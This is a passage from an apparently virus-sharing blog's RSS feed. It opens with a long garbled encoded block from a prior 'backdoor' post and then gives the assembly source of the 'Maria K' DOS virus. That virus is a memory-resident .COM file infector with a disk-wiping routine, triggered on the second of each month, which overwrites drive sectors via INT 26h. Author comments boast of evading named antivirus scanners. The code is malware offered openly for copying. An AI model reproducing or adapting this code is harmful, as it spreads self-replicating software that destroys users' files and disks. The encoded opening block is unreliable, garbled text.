M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
M&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
9&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;&#8220;<br />
`<br />
end</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/virusconstruction.wordpress.com/23/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/virusconstruction.wordpress.com/23/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/virusconstruction.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/virusconstruction.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/virusconstruction.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/virusconstruction.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/virusconstruction.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/virusconstruction.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/virusconstruction.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/virusconstruction.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/virusconstruction.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/virusconstruction.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/virusconstruction.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/virusconstruction.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/virusconstruction.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/virusconstruction.wordpress.com/23/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=23&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://virusconstruction.wordpress.com/2008/08/06/listing-virus-ackdoor/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2674707c280c919927848f4ac76e810e?s=96&#38;d=identicon" medium="image">
			<media:title type="html">Ed</media:title>
		</media:content>
	</item>
		<item>
		<title>Listing Virus Maria K with assembler</title>
		<link>http://virusconstruction.wordpress.com/2008/08/06/listing-virus-maria-k-with-assembler/</link>
		<comments>http://virusconstruction.wordpress.com/2008/08/06/listing-virus-maria-k-with-assembler/#comments</comments>
		<pubDate>Wed, 06 Aug 2008 04:55:16 +0000</pubDate>
		<dc:creator>programmervb</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Listing Virus Maria K]]></category>

		<guid isPermaLink="false">http://virusconstruction.wordpress.com/?p=19</guid>
		<description><![CDATA[; VirusName : Maria K.. ; Country   : Sweden ; Author    : The Unforiven / Immortal Riot ; Date        : 26/09/1993 ; ; This is a mutation of the &#8220;Bobvirus&#8221; written by Phalcon/Skism, ; Many thanks must go to the scratch coder of this one..(DA?) ; ; Mcafee Scan used to find this as [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=virusconstruction.wordpress.com&amp;blog=4329701&amp;post=19&amp;subd=virusconstruction&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>; VirusName : Maria K..<br />
; Country   : Sweden<br />
; Author    : The Unforiven / Immortal Riot<br />
; Date        : 26/09/1993<br />
;<br />
; This is a mutation of the &#8220;Bobvirus&#8221; written by Phalcon/Skism,<br />
; Many thanks must go to the scratch coder of this one..(DA?)<br />
;<br />
; Mcafee Scan used to find this as &#8220;Cloud&#8221; Virus, But also<br />
; as the &#8220;Beta&#8221; Virus. So..two guys in this little babe&#8230;<br />
;<br />
; This is a non-overwriting .COM files infector, it doesn&#8217;t do<br />
; anything to .EXE files, nor command.com. This goes memory<br />
; resident. When it &#8220;goes-off&#8221;, it prints out a &#8220;BOBism&#8221; every<br />
; 5 minutes. If the virus finds itself in the memory, it will not<br />
; go up    again. It will NOT infect a program when you starts it,<br />
; it&#8217;s just the &#8220;printer-part&#8221; who is in memory&#8221;..<br />
;<br />
; This version is not encrypted as the original one, but instead,<br />
; a hd-trasher has been added, so if some infected file is ran<br />
; at the 2:nd every month, someone (me), will be very pleased..<br />
;<br />
; Scan v108 can&#8217;t find this, BUT! S&amp;S Toolkit 6.54 do find it!<br />
; F-Prot (2.09) DON&#8217;T find this    and TBScan can&#8217;t identify it<br />
; as the &#8220;original&#8221; virus, It says it&#8217;s some &#8220;Unknown Virus&#8221;.<br />
;<br />
; Okey, think that&#8217;s all, have phun, and remember,<br />
; livi&#8217;n ain&#8217;t no crime!<br />
;</p>
<p>CODE    SEGMENT PUBLIC  &#8216;CODE&#8217;<br />
ORG     100h<br />
ASSUME  CS:CODE,DS:CODE,SS:CODE,ES:CODE</p>
<p>DTA_fileattr    EQU     21<br />
DTA_filetime    EQU     22<br />
DTA_filedate    EQU     24<br />
DTA_filesize    EQU     26<br />
DTA_filename    EQU     30</p>
<p>virus_marker    equ     026FFh   ; JMP WORD PTR<br />
virus_marker2   equ     00104h   ; 0104h<br />
part1_size      equ     part1_end &#8211; part1_start<br />
part2_size      equ     part2_end &#8211; part2_start<br />
offset_off      equ     duh2<br />
init_delay      equ     5280    ; Initial delay<br />
delay           equ     400     ; Subsequent delay<br />
num_Messages    equ     7       ; Number of &#8220;Bob&#8221; messages<br />
waves           equ     7       ; Number of waves to go off after<br />
infec_date      equ     0606h   ; Swedish National Day (0606)..</p>
<p>Counter         equ     108h<br />
D_Mess          equ     110h<br />
Int_08_Start    equ     112h</p>
<p>; ??-???-????????&#8211;????&#8211;??????-?????&#8211;???????-??????&#8212;-??????-?????-????-<br />
; S&amp;S Toolkit 6.54 (FindViru) &#8220;string&#8221; is placed at the &#8220;jmp word ptr duh&#8221;,<br />
; If you finds something to add here, then do! The place he placed his<br />
; string is there the virus identify itselves, and I&#8217;ve failed with get<br />
; the virus to work after some dully attempt to add some meanless shit.<br />
; Anyhow..I must say that Alan kicks my ass here!..Eat my shorts!..<br />
; ??-???-????????&#8211;????&#8211;??????-?????&#8211;???????-??????&#8212;-??????-?????-????-<br />
part1_start:<br />
jmp     word ptr duh<br />
duh     dw      middle_part_end &#8211; part1_start + 100h<br />
duh2    dw      0<br />
part1_end:</p>
<p>middle_part_start:<br />
middle_part_end:</p>
<p>; ??-???-????????&#8211;????&#8211;??????-?????&#8211;???????-??????&#8212;-??????-?????-????-<br />
;Part 2 begins: Dis is the D-Cool part<br />
; ??-???-????????&#8211;????&#8211;??????-?????&#8211;???????-??????&#8212;-??????-?????-????-<br />
part2_start:<br />
cld<br />
call    decrypt<br />
mov     si, offset Go<br />
add     si, offset_off<br />
jmp     si</p>
<p>encrypt_val     db      00h</p>
<p>; ??-???-????????&#8211;????&#8211;??????-?????&#8211;???????-??????&#8212;-??????-?????-????-<br />
; Encrypt/Decrypt isn&#8217;t really a &#8220;Crypt&#8221; Routine. Instead, it will check<br />
; what day it if, and if it&#8217;s the second (2:nd) any month, procedure Stone-<br />
; Heart will blow off. Stoneheart makes your &#8220;heart&#8221;-drives be quite empty.<br />
; ??-???-????????&#8211;????&#8211;??????-?????&#8211;???????-??????&#8212;-??????-?????-????-<br />
DECRYPT:<br />
ENCRYPT:<br />
mov ah,2ah         ; Day-Checking..<br />
int 21h             ;<br />
cmp dl,02         ; Check if day 02..<br />
je STONEHEART         ; If So..you&#8217;re a lucky guy<br />
jmp SORRY         ; Otherwise..try with &#8220;date 02&#8243;..</p>
<p>STONEHEART:             ; Name of her..<br />
cli             ;<br />
mov    ah,2         ; Starting right on..<br />
cwd             ; Starting it from 0.<br />
mov    cx,0100h     ; Continue to 256&#8230;.<br />
int    026h         ; No Exchauses!<br />
jmp    MARIA         ; Jump For Joy..(J4J)..</p>
<p>MARIA:                 ; Yeah, her&#8217;s other handle..<br />
CLI             ;<br />
MOV    AL,3         ; Continue with drive D..<br />
MOV    CX,700         ; Make drive d&#8217;s heart fall apart..<br />
MOV    DX,00         ; Start from sector 0<br />
MOV    DS,[DI+99]     ; Put random crap in DS<br />
MOV    BX,[DI+55]     ; More crap in BX<br />
CALL    STONEHEART     ; J4J..once again..</p>
<p>SORRY:                 ; I&#8217;m feeling soo sorry for you!<br />
RET                 ; Cuz you managed to return!</p>
<p>; ??-???-????????&#8211;????&#8211;??????-?????&#8211;???????-??????&#8212;-??????-?????-????-<br />
; This used to be under Decrypt/Encrypt, but well, since I don&#8217;t want<br />
; no encryptions in this virus, I just remarked this..And well, Mcaffe&#8217;s<br />
; Beta String used to be place at &#8220;mov di, si&#8221;, that might also be a little<br />
; reason..Anyhow..since I didn&#8217;t coded this from scratch, I can&#8217;t deny you<br />
; from modify in this code..So..Get your Encryption if you wants!<br />
; ??-???-????????&#8211;????&#8211;??????-?????&#8211;???????-??????&#8212;-??????-?????-????-<br />
;         MOV     si, offset encrypt_val<br />
;         ADD     si, offset_off<br />
;         MOV     ah, byte ptr [si]<br />
;         MOV     cx, offset part2_end &#8211; offset bam_bam<br />
;         ADD     si, offset bam_bam &#8211; offset encrypt_val<br />
;         MOV     di, si ; &#8211; &#8220;Beta-String used to be here..<br />
; ??-???-????????&#8211;????&#8211;??????-?????&#8211;???????-??????&#8212;-??????-?????-????-<br />
xor_loop:<br />
lodsb                           ; DS:[SI] -&gt; AL<br />
xor     al, ah<br />
stosb<br />
loop    xor_loop<br />
ret</p>
<p>copy_rest_stuff:<br />
; Copying routine<br />
push    si            ; SI -&gt; buffer3<br />
call    encrypt<br />
mov     cx, part2_size<br />
pop     dx<br />
add     dx, offset part2_start &#8211; offset buffer3<br />
mov     ah, 40h<br />
int     21h<br />
call    decrypt        ; See what to do..<br />
bam_bam:<br />
ret</p>
<p>buffer    db 0CDh, 20h, 0, 0, 0, 0, 0, 0<br />
buffer2   db part1_end &#8211; part1_start dup (?)<br />
buffer3   dw ?<br />
orig_path db 64 dup (?)<br />
num_infec db 0                  ; Infection wave number<br />
infec_now db 0                  ; Number files infected this time<br />
root_dir  db &#8216;\&#8217;,0        ; Root Dir spec<br />
com_mask  db &#8216;*.com&#8217;,0        ; Files to infect<br />
dir_mask  db &#8216;*.*&#8217;,0        ; Files to search for..<br />
back_dir  db &#8216;..&#8217;,0        ; Dot-Dot..<br />
nest      dw 0</p>
<p>DTA     db 43 DUP (0)           ; For use by infect_dir</p>
<p>Go:                ; Proc there Mcaf &#8220;cloud&#8221; string is placed.</p>
<p>add     si, offset buffer &#8211; offset Go<br />
mov     di, si<br />
add     di, offset buffer2 &#8211; offset buffer<br />
cmp     dx, infec_date          ; Added this two lines, and<br />
jz      Go_Psycho               ; &#8220;Cloud&#8221; string is gone&#8230;<br />
mov     cx, part1_size<br />
rep     movsb<br />
mov     ah, 47h                 ; Get directory<br />
xor     dl,dl                   ; Default drive<br />
add     si, offset orig_path &#8211; offset buffer &#8211; 8<br />
int     21h                     ; in orig_path</p>
<p>jc      Go_Error<br />
mov     ah, 3Bh                 ; Change directory<br />
mov     dx, si                  ; to the root dir<br />
add     dx, offset root_dir &#8211; offset orig_path<br />
int     21h<br />
jc      Go_Error</p>
<p>add     si, offset num_infec &#8211; offset orig_path<br />
inc     byte ptr [si]           ; New infection wave</p>
<p>push    si                      ; Save offset num_infec</p>
<p>add     si, offset infec_now &#8211; offset num_infec<br />
mov     byte ptr [si], 3        ; Reset infection<br />
; counter to 3<br />
; for D-new run.</p>
<p>call    traverse_fcn            ; Do all the work</p>
<p>pop     si                      ; Restore offset num_infec<br />
cmp     byte ptr [si], waves    ; 10 infection waves?<br />
jge     Go_Psycho               ; If so, activate</p>
<p>mov     ah, 2Ah                 ; Get date<br />
int     21h<br />
cmp     dx, infec_date          ; Is it 06/06?<br />
jz      Go_Psycho               ; If so, activate</p>
<p>Go_Error:<br />
jmp     quit                    ; And then quit</p>
<p>Go_Psycho:<br />
jmp     Psycho            ; Yeah, right!</p>
<p>origattr  db 0<br />
origtime  dw 0<br />
origdate  dw 0<br />
filesize  dw 0                ; Size of the uninfected file</p>
<p>oldhandle dw 0</p>
<p>; ??-???-????????&#8211;????&#8211;??????-?????&#8211;???????-??????&#8212;-??????-?????-????-<br />
;D-Traversal function begins<br />
; ??-???-????????&#8211;????&#8211;??????-?????&#8211;???????-??????&#8212;-??????-?????-????-<br />
traverse_fcn proc    near<br />
push    bp                      ; Create stack frame<br />
mov    bp,sp<br />
sub     sp,44                   ; Allocate space for DTA<br />
push    si</p>
<p>jmp     infect_directory<br />
In_fcn:<br />
mov     ah,1Ah                  ;Set DTA<br />
lea     dx,word ptr [bp-44]     ;to space allotted<br />
int     21h                     ;Do it now, do it hard!</p>
<p>mov     ah, 4Eh                 ;Find first<br />
mov     cx,16                   ;Directory mask<br />
mov     dx,offset dir_mask      ;*.*<br />
add     dx,offset_off<br />
int     21h<br />
jmp     short isdirok<br />
gonow:<br />
cmp     byte ptr [bp-14], &#8216;.&#8217;   ;Is first char == &#8216;.&#8217;?<br />
je      short donext            ;If so, loop again<br />
lea     dx,word ptr [bp-14]     ;else load dirname<br />
mov     ah,3Bh                  ;and changedir there<br />
int     21h                     ;Yup, yup<br />
jc      short donext            ;Do next if invalid<br />
mov     si, offset nest         ;Else increment nest<br />
add     si, offset_off<br />
inc     word ptr [si]           ;nest++<br />
call    near ptr traverse_fcn   ;recurse directory<br />
donext:<br />
lea     dx,word ptr [bp-44]     ;Load space allocated for DTA addr<br />
mov     ah,1Ah                  ;and set DTA to it<br />
int     21h                     ;cause it might have changed</p>
